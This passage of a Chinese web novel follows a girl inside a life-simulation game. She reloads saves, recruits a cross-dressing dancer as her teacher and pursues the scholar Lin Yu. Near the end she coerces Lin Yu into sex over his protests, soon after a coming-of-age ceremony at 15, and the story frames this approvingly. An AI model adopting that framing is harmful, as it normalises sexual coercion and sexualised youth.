月梧把你与父亲的对答一字不差地复述给母亲,两人脸上露出同般快意的笑。 母亲把你抱在怀里亲亲,“乖乖会帮娘出气了,真聪明,好乖好乖,又乖读书又用功,有没有想要的东西?什么娘都给你。” 你道:“我想更用功读书。以后我在房间里看书的时候,谁都不许进去打扰,娘答不答应?” 母亲自然答应,她以你为傲。 所以你可以放心在外学习,晚点回家也没问题。 …… 短暂地睡了片刻。 并没有一觉醒来是第二天的故事。你睁眼时太阳还没全落下去。 抻着懒腰伸直手臂,向后仰倒,平躺在木地板上。 定定盯着天花板,你打了个滚,撑起身,和站在门口的卫棠对上视线。 他眼神不大对,不过这个年纪的男孩一天一个心思,你也不想深究,跟他打了声招呼站起身。 脖子上翻了几圈戴的珍珠链随着起身的动作晃动。 你意识到什么,动作僵住。 高度不对,你好像变回自己的本体了。 为什么? 你打开【道具】页面,【你想要成为的样子】显示,该形象使用时长超过72小时,要求重新生成形象。 还有这码事。 你快忘了这个道具的说明。 趁只有卫棠一人看见,离开应该没什么问题,但是你想要他当你的师父刷舞蹈数值来着。 就要这样放弃吗? “你……”? 谁在说话? 卫棠站在门口,轻声道:“你是仙女吗?” “是有人害了你吗?让你不得不以那副模样见人。平白受人误会,是不是有很多人欺负你?” “……” 好夹哦。 从你的目光中读出了什么,卫棠脸红了起来,无措解释:“我以为,我之前是因为,你,我没有恶意的,我以为你想欺负我,我不知道你是……” 他刚刚亲眼见到了你从络腮胡大汉,变成了雪白的小女孩,像在丑陋的蚌壳里挖出一颗圆润的珍珠。 好可爱,好珍贵。 你道:“我不是仙女,只是有变身法术的人类。” 他柔声问:“这是你本来的模样吗?” “嗯。” “……” 你疑惑看他。 脸红什么?不好意思了?因为之前当着你面骂过很难听的话? “我不计较的。你之前跟我吵架,是对我有误会。我真的很想你教我跳舞,你愿意做我师父吗?” “我……”他声音很低,“我不配教你的。你想学,一定能寻到更好的老师。我是妓女的儿子,生父不明,身份低贱,原本这辈子都不该见你……” 你道:“可是比起其他地方,我就是喜欢来这,就是遇见了你,我来这里就是为了找师父。” “你教我吧。” “想要什么,我都给你。” 卫棠长久沉默。 你继续给他开条件,试图打动他:“我为你赎身,给店家钱财,让他们保护你,留你在这里住宿。你只要每天心情好的时候教我跳舞就可以。我会用心练习,我转圈圈很好看呀。” 你原地转了一圈给他看,青色的裙摆展开,头上的花簪微微颤动,耳坠摇晃。 步伐笨拙,通过习惯看得出,你就是那个胡子男不错。 这样的话。 从棍棒下救出他的人是你。 欣赏他舞蹈的人是你。 想要拜他为师的人是你。 真心想送他自由的人也是你。 他…… “我可以教你,你愿意的话。” 【恭喜玩家通过考验,拜师卫棠成功,解锁名师附加数值】 就知道有用。 你高高兴兴拍他的脸,告了句别,迈出院子化成麻雀回家。 之后再来,你都直接进卫棠的房间练舞。小孩子的身体有无限发展的可能性,卫棠认真帮你压腿,纠正姿势。 零基础如你,练了半个月也练出些许样子。 “你明天什么时候来?” 他在帮你编头发,编了许多白李花进去。凑得很近,你闻见他身上甜腻的香味,挪近他颈部,“你擦了香膏吗?” 被你闻过的地方很快染了一层红。他支支吾吾应声,打开抽屉,把香膏递给你。 你拧开盖子闻,指尖触在上面打圈,凑到鼻子前。 “橙花。” 你把指尖上的香膏抹到他的耳后。卫棠梳着女孩子发髻,耳垂挂着红宝石坠子。你每抹一下,他的耳朵就更红,耳坠也跟着轻轻摇晃,映出令人眩晕的光。 “我明天要上课,晚点来。” “嗯……给你上课的师父,也是你自己找的吗?” “不是啊,我娘安排的,只有你是我自己找的。” “……” 卫棠笑着,两手叠放在你的肩头,将下巴搁置上去,是一种很自然的依偎,懒洋洋的,看上去极美。 “是啊,你找我就够了。” “我要让你变成天底下跳舞最厉害的女子。” 【八岁的第二个月,你打算做什么?】 【学琴】 点击。 在家专心练了一个月的琴,师父是月梧。 每天泡在音律里,你几乎把卫棠给忘了。 没想到再次见到他是在家里。 母亲以盗贼的名义将他扣押审问。 你的蜻蜓钗流落进市井,被母亲的死对头发现,黏在口中鄙夷许久,说她是穷鬼,卖女儿的东西。不止蜻蜓钗,还有她送给女儿的金元宝也都被剪成碎状在街头流通。 富贵人家就是这样,戴腻了藏起来,没有断舍离的意识。 母亲在外丢了脸面,回家下令严查。月梧最有效率,很快查清钱财流出的源头是汴京最大的歌楼。没有逼问,歌楼主人就把卫棠供了出去,于是人被押送过来。 “说!这院子里的人谁是你的内应?” 你午觉睡醒,捏着帕子出门,刚好撞进卫棠的眼睛。 他脸上有巴掌印,显然被扇痛了。 第64章 卫棠眼眶泛着荔枝皮般的红, 只盯了你一眼,将情绪都收敛在睫毛下,伏地磕头。 “没有内应, 是我偷盗, 夫人杀我便是。” 他今日穿着湘妃色衣裙, 长发半披在身后,一缕随着动作垂到身前, 容颜楚楚动人。因年岁尚小,喉结还不明显,若不是声音清朗, 很难辨认出他的性别。 母亲与月梧神情都不好看, 目光阴沉压在他瘦削的肩上,整个院子都静悄悄的。 你朝卫棠走去, 手碰到他衣袖,他浑身一抖, 想要躲避却被你稳稳地抓住,从地上拉扶站直。 你有快一个月的时间没去醉花音见他。 他思考很久也没想清楚自己做错了什么,明明最后一次见面你笑得很开心,离开前还允许他抱了你, 却突然消失不见。 后来想, 都这样。你或许只是厌烦了他, 不再有兴趣从他这里学舞。天底下善舞之人不止他一个,有更讨你欢心的存在, 你自然不会再理会他, 他于你而言只是一个低贱的人。 钱的事被发现,他虽然怕被这种仕宦大族处死,但心中也存了一丝微妙的期望。 说不定, 说不定他能见到你。 可真的见到,他却害怕自己拖累你。 “景蕊!” 母亲见你搀扶卫棠,黑脸从椅子上站身:“景蕊,过来!” “你认识他?那些钱、发钗都是你送给他的?” 她声音十分凌厉,卫棠已经抬不起头,继续说下去可能惹哭他。他是个很骄傲的人,如果在这种时候哭,心里不知是什么滋味。 你踮脚摸他的脸,往红痕上吹了口气:“呼……疼吗?” 他睁大双眼望你,明镜般的瞳孔映着你的虚影。 你凝起脸色回头,与母亲对峙。 “娘,你们打他做什么?” “是,钱和首饰都是我送他的,不行吗?我的东西,我想给谁就给谁。” 母亲眉头紧皱,视线末端落在你与卫棠牵在一起的手上。忽然,她将你前段日子的反常串联起来。 “景蕊,你之前闷在房里读书,不许人进去打扰,是不是溜出去见他了?” 不愧是反派阵营的人物,脑子在什么时候都转得起来。 你回答她:“是。” 母亲彻底发怒:“狐媚惑主,贱人!景蕊,你让开,我今天就让他死在这,让他知道勾引我女儿的代价!景蕊才多大,怎么敢的,怎么敢存这般心思!” 月梧将她抱住:“夫人,清醒些,小姐不是那种人。” 她教了你半个多月的琴,日夜接触,对你的品行有所了解,你并不会轻易受人迷惑。 “小姐,跟夫人解释,你为何要瞒着家里私自出门见他?” 你如实相告:“我在学舞,他是我心里天下舞跳得最好的人。” 母亲道:“你想学舞,告知娘一声便有数不尽的舞师来家里,何必自己去找野路子,找这不男不女的怪物?说到底,你还是自己喜欢他,不惜顶撞我维护他!” “……” 说得有几分道理。 你之前坚持刷卫棠剧情,让他做你的师父,好像是因为你挺喜欢他的。 很特别啊。 长相近似妍丽的女子,实际上却是少年期的男孩。年纪小,身世凄惨,拥有高超的舞艺。 比起那些循规蹈矩的舞蹈名师,你更喜欢卫棠这种复杂漂亮的角色当你的老师。 当然,更主要的原因是月度行程里没有【学舞】的选项卡。你也并没有很想学舞,只是单纯去歌楼逛逛,走一走发现隐藏数值线路。 “不说话,被我说中了?” 母亲推开束缚着她的月梧,缓步走到你面前,蹲身仰望你。 “小小年纪,竟是个色鬼!” 你不否认。 玩这个游戏也是为了色心。 又不犯罪,好色也没什么吧? 她动动你的领子,指头刮你午睡在脸上留下的印记,亲了口安抚。 “娘不是凶你,娘是着急。你说你,娘总是跟你说,想要什么告诉娘。你倒好,这么大的小人,天天偷出门,若不是我查到他头上,你难道要一直瞒下去不成?要是出什么事,你让娘去哪找你?” “我明白。” “你明白,你明白,你总明白,总是不跟娘商量就自作主张。” “……” 母亲叹了口气,端起脸色睨卫棠。 “景蕊说你舞跳得好,不如移步房中跳一曲,让我见识见识你的本领?” 卫棠头低着:“要杀要剐,夫人发落便是。” 何必折辱。 月梧道:“这也是个轴的,怪不得能和小姐玩到一起。” “夫人的意思是给你一次机会,若你真有可取之处,之后便留家里教小姐跳舞。” “还是,你不想留在小姐身边陪她玩了?” “……” 卫棠愣愣抬头,没想过你的家人仅仅这样就放过他。 他过去待在娘身边,见过太多他们这种身份低微的人,抱有侥幸的希望,和你这样出身高门大户的小姐搅在一起。他们每个人都没好下场,还要连累那些小姐被家中厌弃。 结果……他居然有资格留在你身边吗? 是,他有舞艺傍身。就算存了不好的心思,贪恋在你身边的时光,他也能作为自己,堂堂正正活在这世上。 你不清楚卫棠在想什么,这个年纪的小孩就是会想很多事。总之,他带着一身热血去给母亲跳舞了。 你没被允许一同进入,坐在檐下望天。 盛夏的汴京气候闷热,午后的温度更是到了烤人的程度。庭院里种的花草被烤得蔫巴巴,叶片打卷,丫鬟们拿湿帕子小心擦拭。 你口中轻哼着歌,闲云从空中飘过。 自这天后,府中多一位自江南来的舞师教你舞艺。他相貌美丽,美中不足的是身量过高,还是个哑巴。 十五岁的沈景妍表示,假的。 都是假的。 “父亲!卫棠姑娘会说话!我亲耳听到……” 亲耳听到、亲眼目睹他抱着姐姐在芍药园里接吻,做其他的事。 都是女子也可以吗? 不,他不是。 她看到了姐姐玩弄他,一边亲他,一边逗他哭,手里捏着一截粉红充血的……明明看上去是柔弱无骨的女子,却长着……呜呜,姐姐在做什么啊。 “景妍?” 世界终止。 你玩腻了,从十八岁读档回到游戏开局八岁第二个月的时间线。 卫棠眼睛晶亮地推门出来,开心地想冲上来拥抱你,但他才得了留在你身边的准许,不能在这种时候放肆。 他克制地捏紧掌心,朝你行了婢女的礼节。 “以后我便留在小姐身边,教您学舞了。” 你朝他笑笑,点头。 听闻母亲从江南找来舞师教你学舞,父亲登门要请舞师一并将景妍也教了。 母亲保持沉默,面容冷淡望他。 她过去也有对他笑的时候。不知何时起,他们生分得不像夫妻,却也不是敌人,政敌见面还要寒暄几句,他们应该像陌路人。 这不就是他想要的吗? 他是被迫娶她,如果与她心意相通,怎么对得起阿诗。这场错误的婚事延续到今日的局面,已算是最好的结局。 “多教个学生而已,景妍乖巧聪慧,不会耽误卫姑娘太多心神。” 母亲讥讽一笑,深呼吸,眼神柔和地看向坐在她身侧的你。 “景蕊,你想和妹妹一起学舞吗?” 父亲立刻道:“景蕊不懂事,此事更应与卫姑娘商议。” 之前,你就是因为他这句话拒绝了和女主一起学舞,到最后,女主那边被父亲补偿,另外找了宫中的舞师教习,年岁渐长,与宫中接触增多,得到了太子的青睐。 你想要得到金雀钗,虽然不是很想吃太子,也不清楚他长什么样,但至少不要把这条路堵死,至少在主档不要堵死。 你道:“可以啊,让景妍和我一起学舞吧。” 父亲愣在那,错愕注视你。 母亲揉你的头:“可怜我们母女,平白无故被人当恶人看待。罢了,爱怎么想怎么想,没什么事就走吧。和我们在一处坐着,你心里应是不好受。” “敏娘,我……” 母亲冷脸:“月梧,送客。” 她这般强硬态度,父亲表情也淡漠下来。 “送客,谁是客?这是我的宅院,你是我的妻子。” “还望夫人记起,我是你的夫君。” 他起身,深深望了母亲一眼,转身快步离开。 屋子里空下来,母亲挺直的脊背像断弦的弓,肩弯垂了下去,泪落几滴。 你用帕子给她擦拭,劝道:“娘,别喜欢他了。” 母亲破涕为笑:“他是你爹啊,景蕊。” 你道:“那又如何?他对你不好。” “唯一的优点是不常出现,还给我们钱花。我们就当他不存在吧,只有我,娘也会幸福的,不是吗?” “是啊,有你娘就幸福了。娘有景蕊。” 就算一切重来,她也会为了生下你,再嫁到沈家一次。 你答应和女主一起学舞的要求,她却没有在第二天来到练舞的房间。 家里的下人变得少了很多。你打听过才知道,女主的母亲自尽了,这是上个档里没有出现过的剧情。仅仅是应允女主跟你一起上课,把你的资源分给她,就会产生这么大的蝴蝶效应吗? 翻找【人物档案】,你大致了解事情原委。 女主的母亲经过此事发现,只要有自己在一天,她的女儿就没办法过正常贵女的日子。 她是府中老爷和夫人的隔阂,是夫人的眼中钉。就算她先与丈夫青梅竹马又如何,他就是为了仕途,为了钱权名声,娶其他无辜的女子为妻。她在他们夫妻面前没有容身之处,女儿也要被她连累。 过去有沈老夫人阻碍,他用她堵不平的气。如今老夫人去世已久,他还能爱她爱到几时? 不如死在他最爱她的时候,用命隔在这些事之间。 或许她的景妍能有好日子过。 你在心里补充:还能让父亲与母亲更生嫌隙,猜疑她暗中做了什么逼死人家,人死无对证,母亲要吃后半辈子的哑巴亏。 真是高明。 第65章 娘死后, 沈景妍无人管顾,最后被送到夫人院里。 父亲抱着她在娘灵前哭了一夜,他发誓, 以后一定什么都给她最好的, 绝不辜负阿诗。今夜过后, 不会再让景妍流一滴眼泪。 他带她去了夫人院子,自己先进房里打点, 跟夫人说了半个时辰的话。 沈景妍孤零零和刘嬷嬷坐在院里的石凳上。院里的丫鬟路过她,见她穿着素白的孝衣,总多看她一眼, 眼神里是不太好的东西。 她很恐惧, 风吹过要颤抖,阳光照在身上会痛。 娘为何要寻死, 将她一人扔在世上? 如果可以,她其实不想做沈家的小姐。她还是想和娘回到她们的小院子里, 院子里有一颗樱桃树,现在正是结樱桃的时候。 樱桃是软的,含进嘴里皮就化了,酸涩的果肉回荡在嘴里, 酸得她皱起脸。娘每次看到, 都笑着在她嘴里塞一颗糖。 糖。 再普通不过的焦色糖块, 她很久都没吃到过,每天、每天吃着珍贵的食物, 那些东西把娘给毒死了。 她不想过好日子, 苦一点,倒霉一点又怎样呢。 她好想娘能睁开眼,回到她们的小院子里, 一辈子穷苦也好,永远见不到爹也好。 眼泪掉下来了。 不能哭的。 她哭了,爹就要想起伤心事。他忙着伤心去,谁来管她? 瓷白的杯口忽然递到眼前。 沈景妍含着泪花抬头,看到姐姐景蕊的脸。 你两手捧着茶杯在她脸下:“想不想尝尝眼泪的滋味?” “……” 不想。 她知道眼泪是什么滋味,从小就知道。见不到爹的日子,娘会抱着她哭。她的眼泪像不尽的雨幕,滑入衣领,冰凉的温度浸透心脏。 她没了娘,这么难过了,姐姐也要欺负她吗? 想着,她就哭了起来,张嘴抽了几口气,眼泪啪嗒啪嗒往茶盏里掉。 “好厉害,厉害,哭满一杯就可以尝啦,景妍加油。” “呜……没有油,别欺负我……呜呜……” “好多好多,好会哭。” “好啦,我接满了!” 景妍想,不可能接满的,仅这几滴眼泪而已。 但是你晃了晃手,单手蒙她眼睛。招呼一旁的卫棠换了手中茶盏,将一杯新调的加冰西瓜果茶塞到她手里。 茉莉绿茶茶底,放了西瓜和加了几滴米醋去腥的牛奶。 “尝尝!” 景妍鼻子红红,额头中间的桃花疤痕被她哭得愈发艳丽,泪眼婆娑望你:“姐姐,这不是我的眼泪。” 但是她乖乖喝了,把娘生前叮嘱她的提防正房那对母女的话忘在脑后。 西瓜爽口,奶香甜蜜,还带有茉莉清香,冰冰凉凉的。 小孩子都这样,吃到好吃的就忘了烦恼。 她品出了果茶的滋味,小口啜饮:“好好喝哦。” 抬头,你已经牵着卫棠的手走远。 她又变成一个人。 “景妍,爹带你去见母亲。” 父亲清俊的脸上是遮掩不住疲惫,但竭力对她笑,“进去要乖乖叫娘,爹知道你心里不好受,但是景妍你要叫夫人娘,知道吗?” 景妍点头,她被父亲带进屋里,见到那个被父亲惹哭无数次的可怜女人。 她记性很好,大人之间发生的事她全都清楚。她不知自己哪来的立场站在夫人面前,夫人应该恨她吧?可是她还做出温柔的神情叫她过去。 “景妍,以后跟……跟娘和姐姐住在成玉阁,有什么短缺,不高兴的地方,一定跟娘说。” “多谢母亲。” 父亲对她的忤逆感到惊讶:“景妍?” 倒是夫人,因她略生疏的称呼感到松了口气,看待她的眼神不再那么排斥。 “母亲……”景妍手中的茶盏被她握得温了,她鼓起勇气,“我能和姐姐住在一间房吗?” 夫人脸色一变,才因她知分寸有的那点温度都消散干净。 “我另给二小姐准备了房间,跟景蕊住一起若委屈到二小姐,叫人抓住把柄该如何是好。” 父亲攥她手攥得紧些,“你不必点我。清者自清,并非谁一句话能定罪。” “最好如此,只怕有些人就喜欢睁着一双浊眼污蔑人。” “……” 你的生活因女主沈景妍的入住发生了一些变化。 比如每天早上醒来,都会在床头发现一个泪痕未干的小女孩的睡脸。 “景妍。” 你晃晃她的小手,将她晃醒,拉到床上躺着。 不是不记得主线任务的要求,你需要攒女主的厌恶值。 但她实在太小了,又刚失去母亲,即便是游戏,你也无法忍心欺负她。 反正人嘛,做一百件好事,只要做了一件坏事就是坏人。 想让她恨你,之后来个大的背叛应该就行。这段时间先让她好过一点。 卫棠敲门进来,端水给你洗漱擦脸。 他一副丫鬟打扮,梳着双环髻,身量纤细高挑,看背影会觉得有些滑稽,但看到正脸就会有种好看的人怎么打扮都好看的感觉。 因为陪在你身边,他失去了穿男装和说话的自由。 不过他看上去并不觉得难受,反而比之前怡然自得。 卫棠比手语时,你只能看着他,猜他的意思。 他最喜欢你的注意力都放在他身上,所以见到什么都比比划划跟你说。 【你】 【想我也教她跳舞吗】 你盯了片刻,会意点头。他伏在你膝头,一脸费解。 【你不讨厌这个孽种?】 就算用手比划,也能把话说得很难听呢。 “她没做错事。伤害我娘的一直另有其人,我觉得某人才是孽种。” 【谁?】 你趴在他耳边:“我爹。” 卫棠深思片刻,认为有理。 你们家的这桩狗血事,归根结底错的只有一人,就是你的父亲。 如果他当时没有为姻亲带来的权势地位动心,便不会辜负沈景妍的母亲。如果他甘心斩断旧缘,与你的母亲好好过日子,也算是一段新生。 但没有,他谁都对不起。害死了人,留下一个孤女。 “姐姐……” 小女孩伸手找你,你回身握住她,趴在她脸侧亲了口。 “我在呢,没事的。” 夏天的末尾,沈景妍病了几日。病愈后,她开始学舞。 你没有参与,这个月你主要还是学琴。 月梧拿着木板站一边监督,走神要打,弹错要打,弹琴的情绪幽怨也要打。 堪称头悬梁锥刺股,你坐在琴前抚弦,指尖拨动,唤起一阵乐声。 你觉得自己一定有黑眼圈了,月梧暂时去忙母亲的事,但她要求你练习不停,就算在别的地方,她也听得见你的琴声。 你一脸倦怠地弹《关雎》,想着这个月马上过去,下个月绝对不选弹琴了。 但就算不选,月梧会放过你吗? 你坐在庭院里抚琴,院外阁道上,有一位白衣青年向下回头。 望见他清风明月般的眉眼,你微微愣住。 你并不是真正的小孩子,所以还是这个年纪的男人更吸引你。 父亲疑惑他的停步。 名叫林彧的男人朝他淡笑:“令爱琴弹错了。” “……” 父亲越过栏杆,向下找你。见你眼睛直勾勾盯着人家林大人看,心里觉得好笑。 他才要叫你来书房听他们议事,月梧便回来了。 “小姐!你在偷懒吗?” 声音十分具有穿透性,他们在阁道上听得一清二楚。 不知你对答了什么,月梧恨恨瞪了父亲一眼,将你抱在怀里哄。 父亲一头雾水,转身对上林彧似笑非笑的目光。 “沈兄很久没去看过令爱吗?” “她说想念你,看到你就难过呢。” 听到这种不着边际的话,父亲首先感到一丝熨帖,但随后而来的是,他想起之前每次去看你,你都不理他,哪里是会想念的样子,这是把他当靶子卖可怜给月梧看吧。 他笑了下。景蕊与她娘完全不同,总有一股别人欺负不了的小机灵。 “我今晚便去看她。” 林彧笑道:“朝堂之上不曾吃过的亏,沈兄在家中怕是要一一偿还回来。” 父亲道:“女儿不一样的,等你有了就知道。” 林彧道:“竟然甘之如饴?不如你女儿借我养几天?” 父亲古怪看他一眼,没应答,倒是说起了老生常谈的催婚之事。 “弱冠礼成已久,你也到了定亲的年纪,便一个中意的女子也无?再不结亲,等你有了女儿,我的外孙都会满地跑了。” 林彧莞尔,风吹过他的碎发,扑到脸上几丝。 “不急。” 【八岁的第三个月,你打算做什么?】 【休息】 【你选择的[休息]被琴师月梧否决了】 【她希望你继续学一个月的琴,你选择?】 【听从】/【拒绝】 【拒绝】 【你选择的[拒绝]被琴师月梧否决了】 【她坚持希望你继续学一个月的琴,你选择?】 【听从】 【八岁的第三个月,你决定学琴】 【女主沈景妍开始跟随名师卫棠学舞】 待办: 【凭什么,凭什么她能如此轻易抢走你辛苦求来的师父? 让她跳不了舞吧。 你准备偷走她的舞鞋。】 任务与之前有所不同。弹窗底部有个方形的空,完成了会在空上出现一个对号。 不过。 不管怎么说,偷鞋都太幼稚了……会有用吗? “姐姐……喜欢我的鞋吗?” 第66章 好尴尬, 偷鞋被当场抓包了。 沈景妍比你小三岁。五岁的小孩脸还圆着,像扣了两个绵软的馒头在双颊。杏眼永远湿漉漉的,类似那种看上去就很老实的毛茸茸小动物。 可以解释。 “想帮你刷鞋”、“鞋里进了虫子帮你倒倒”、“鞋好漂亮我喜欢你的鞋”这种借口。 只要说出来, 你有直觉她会相信。 但是。 考虑到【厌恶值】, 和整个关卡的剧情走向, 这些日常的待办任务最好不要被轻易粉饰。 你坦白:“我要把你的鞋偷走藏起来,让你明天不能去跳舞。” 沈景妍沉默。 趁她沉默, 你提鞋经过她,快步踱出房门。 以为逃出生天,衣角却被人轻轻拉住。 “姐姐是不想离开景妍吗?我每天只学两个时辰舞就过来陪姐姐。” 仿佛你是哭闹的稚童, 她耐心地用童音给你讲道理。 你更加直白重复:“我偷你的鞋是想让你练不成舞。” 沈景妍做出无奈的表情:“姐姐以后不许做坏事哦, 不做坏事,景妍也会陪伴姐姐的。” 你:“……” 虽然最后把鞋顺利“偷”走, 但你总觉得哪里怪怪的。 【挑战成功】 兑换奖励:可分配点数【1】 【现存可分配点数:21】 给的好少。 跟第一关比起来好抠门,现在都不给什么有趣的道具吗? “小姐!” 远远看到你, 月梧喊了一声,抱琴走来:“来学琴了。” “……哦。” 新的一个月,还是从琴开始。 你用的琴是母亲旧物,名叫星梧。琴面制于梧桐, 下板梓木, 涂掺鹿角粉与朱砂的大漆, 项腰弓入半月,池沼长方, 琴音空灵悠扬。 手搭在琴弦上, 你静了静心,按照月梧教的音律弹《蒹葭》。 边哼唱,边纠着琴音的节奏。这是月梧教你的方法, 无趣时唱出声算消遣,有外人在时就在心里默唱打节拍。 有了之前的一番遭遇,你将弹琴的地点固定在能看到阁道的院子里。老爹虽然讨人嫌,但他常带些年轻官员回家议事,相貌都还不错。 最好看的还是那日林彧。 你想着什么时候能再见他一面。 白嗓哼唱的调子与美感毫无关系,但因为是小孩子的声音,听着还算悦耳。时不时朝阁道上瞥,因为技术的提升,月梧已听不出你的分神。 或许是期盼过于殷切,你真的等到了他。他与父亲都穿着官服,一紫一红,看着像是刚从宫中出来。 林彧的气质近似于雪山白狐,清冷中带有一丝狡黠。你以为他适合穿白,没想到他穿紫也不错,麒麟纹用金线缝制,在阳光下闪着辉光,气度华贵不凡。 “溯洄从之” “宛在水中……” 你故意弹错一个音。 “央” 他回头了。 隔着入秋后逐渐干枯的树叶,你和林彧见了第二面。 很可惜,你是个小孩,他对你一点感觉都没有。 但他感觉到你的刻意了,你像是故意在这等他一般。 他清楚自己的魅力,从小到大无数淑女追随他的脚步,却没想到,连小孩也能被他吸引。 这么小就会看男色,长大该如何了得? 他注意到你,却不打算理你,令你无法忍受。 很高傲吗? 你偏要接近他不可。 读档回弹琴之前。 练琴时你常设存档,为了不被月梧处罚,利用存档读档功能创造时间差,练得不好就读档回去多练几遍。 现在正好派上用场。 打开【数值页面】,你使用点数把琴技加满。 【10/10】 【是否升至二阶?】 【yes】 【20/20】 【是否升至三阶?】 【yes】 【21/30】 【是笨拙但藏有憧憬的琴声~】 “……” 点数都用光了,还在笨拙。 你看着列表的一排零蛋,有些后悔。试着重新读档到这个时间,点数仍然是已分配出去的状态。 算了。 你安慰自己,总要花出去的。 之后还可以做任务再攒,行程刷的课程是年度结算,还会有另一批数值。 将虚拟屏幕收起,你全身心地投入到征服林彧的过程中。 数值上升以后,再弹琴就变得顺手很多。每次动指都能弹到对的地方,这种流畅的感觉给人带来极大成就感,就像你真的会弹琴了一般。 如果数值再高点会是什么效果? 抱着投机取巧的心理,你打开虚拟面板,点击【可分配点数】页面。 ……没有氪金通道。 你只好放弃捷径想法,继续弹琴。 等到父亲与林彧经过廊道,你弹错一个音。 林彧笑眯眯和父亲说着什么,听到你弹错的这个音,步子一转,靠在栏杆上望你。 他弯着眼睛,红唇微扬,含笑送出目光。 仿佛清楚明白地告诉你,他知道你的意思,也愿意配合你停步驻足。 父亲脸色不好地拉了他一下,才把人拉走。即便走了,他也回头盯你一眼,仪态无比矜贵。 月梧料理完院中事务,回来检查你弹琴。平缓的琴声中,她眼里的疲惫与木然一点点褪去,疑惑道:“有谁指点过您的琴艺吗?” 你心疼那【21】数值,摇头。 月梧道:“小姐弹跑调了,把《蒹葭》弹成了《凤求凰》。再弹一遍,我看看您哪里记得不对。” 弹错曲了? 你脑中回忆起方才林彧的笑,怎么想怎么不对味。 “小姐。” 父亲房里的丫鬟过来请:“大人叫你去书房会客。” 月梧平声道:“什么客?” 丫鬟如实回答:“林学士,让小姐抱着琴去。” 月梧思索一番。林彧世家出身,姑母是当今皇后,自小混迹宫中,身份尊贵,颇有圣宠,为人喜好清雅,爱琴出名。 琴。 他一定听到了小姐弹琴。 月梧颇为自豪地仰起下巴,她就知道小姐在弹琴上有天分,下次夫人再拿小姐自谦,她一定要用林大人的赏识把她的话堵回去。 “小姐,去吧。” 突然温柔了几百倍的月梧拍着你的背:“在林大人面前不要拘谨,平日里如何弹,在他面前就如何弹,记得动作优美些。” 你:“……嗯。” 你抱起了月梧递来的琴,琴立起来比你的身量还高,抱在怀里很是吃力。 丫鬟见状想伸手帮你,被月梧制止。 “让小姐自己抱着,这样看着更有诚心。” 如果表现得好,说不定林彧会亲自教你学琴。 林彧在宗学兼职太傅,教导太子之余帮忙看些皇亲国戚贵女的琴艺。若你能得他指点,或者得他赏识学琴,来日前途不可限量。 在月梧的坚持下,你费力抱琴去了父亲的书房。听到脚步声,林彧朝门口投来目光,笑着打趣父亲。 “这就是你家那个朝我弹《凤求凰》的女儿?” 父亲因他的话有些气恼,碍于他的身份不好发作,只能在话里替你找补:“小女年纪小,许是和其他曲子弹混了。” 林彧并无挑衅之意,就着他给的台阶下:“是有一版《蒹葭》和《凤求凰》曲调相近,要是弹得歪了,也许就弹成另一首曲子。” 琴沉得很,你快要抱不住,求助地看向指引你来的丫鬟。她表示有月梧的吩咐在,不好越过她插手。父亲和母亲这两边交际很敏感,她们一向紧张,生怕惹另一方不快。 好在很快有一双骨节分明的手伸来分走琴的重量。 林彧抱琴在书房里找到琴架,即便这是别人的家里,他也做得到忽视主人脸色,举止坦然。 “星梧琴,天府奇珍,贵夫人当真对女儿爱之深切,这样的名琴也能让不知轻重的孩童随手弹练。” 父亲道:“拙荆脾性如此,不好绫罗珠宝。” “并非绫罗珠宝,于爱琴之人,宝琴如血肉不可分割。” 他蹲身到你面前,姣好的面容骤然接近,你有些目不暇接,不知先欣赏他的眼睛还是嘴唇。 “十几日的功夫,沈小姐琴艺进步得真快。” “……” “……” 父亲咳了咳:“景蕊,不说些感谢的话吗?” “多谢林大人。” 林彧笑道:“要不要随我进宫学琴?皇后娘娘身边缺一个你这样讨人喜欢的小姑娘。” 父亲道:“林大人,景蕊怕是没有那个福分。” 林彧道:“沈兄怎知没有?难不成是舍不得女儿到皇后娘娘跟前伺候?娘娘素来平和,不会吃了令爱,怕什么呢。” “你我商量再多也无用,不如问问令爱的意见?” 他故意拿脸勾搭你,“景蕊吗?想不想跟我进宫啊,宫里有很多像我这样漂亮的人。” 他是真的知道自己相貌过人。 进宫未尝不可,能接近到皇后就更好了,你还要她手中的金雀钗通关呢。 你答应了下来。 十日后,在母亲和景妍哭不尽的眼泪里,你坐上了进宫的马车。 那段时间,你听说父亲升职的消息,一跃几品升为三司使,成了朝中计相。你作为他唯一的嫡女,养在皇后身边,很有站队制衡的意思。 你不觉得自己的性命能威胁父亲什么,景妍的命还差不多,他们挑错了人。 原本打算继续兢兢业业养成自己,但这年冬月,你得知母亲在家中病故的消息。她太过忧心你,天长日久有了心病,身子不爽利,被一场风寒带走。 不管后续如何,你都不想再走这条线了。 但是。 你想先吃一口再回去。 本来就是有点馋他才来的。 十五岁,皇后给你办了及笄礼。她有意把你许配给他的儿子做太子妃,但你委婉拒绝了,她便也不再勉强。 她喜欢你,但她的儿子喜欢的似乎是你妹妹景妍。 某日放课,景妍借着太子的方便在宫中见你。 她出落成姿容秀美的少女,眼神却还如小时候一般对你无比依恋。 “姐姐……” 你忙着逮教完学生下课离开的林彧,听她叫你,只匆忙给她一个眼神,跑去林彧那边缠住他的衣袖。 “林大人……” 你得寸进尺地勾他手。成年以后,突破了游戏与世俗的限制,你总是放肆地接近他。他教你弹琴时,该摸的、不该摸的你都摸过了。 第一次摸的时候他震怒训了你一顿,骂你放肆。 你屡教不改,他又不想毁你名节,也觉得屈辱,没和任何人说。 要怎么说,说他被小女孩非礼了吗? “停停好吗?” 林彧耳朵红透了,勉强维持正常的表情,将你的手从衣服里拉出来。 “你这样,我怎么教你。” 你垂下眉眼,动了动手腕:“好痛,林大人。” 林彧松手,有所预料地被你欺身而上。 他的衣领被你拆封,他的宝琴被你的指尖勾连出杂乱的音律。 不知为何,没有了反抗的气力。 他也变得很痛。 “林大人,嘴要闭紧,被人听到你就完了。” “为什么完?我……不能娶你吗?” “不能,我不想嫁给老男人。” 他听到了他一直在意的话,心中一沉,面上冷笑:“可你在睡老男人。” 收拢手臂。 “不好睡吗?没人睡过的……” “往好处想想,我死了,你不是可以另嫁?这样你就可以嫁到两个男人……” “只有两个?” “你……想要几个?” 将他按在琴上用了一顿,不时碰响的音律挑动你的神经。 老处男很好用,为了吃这一顿走这条路还算值。 他的傲骨在房事里全都不见,乖顺而卑贱。 “让我碰碰好吗?” “只亲一下。” 外人应该想不到身负盛名的林彧在无人处是这个样子。 你见到了。 读档。 回到八岁第三个月的某个上午。 你用光积攒点数的那天。 人已吃到,你不再有兴趣引他注意,随手弹曲。 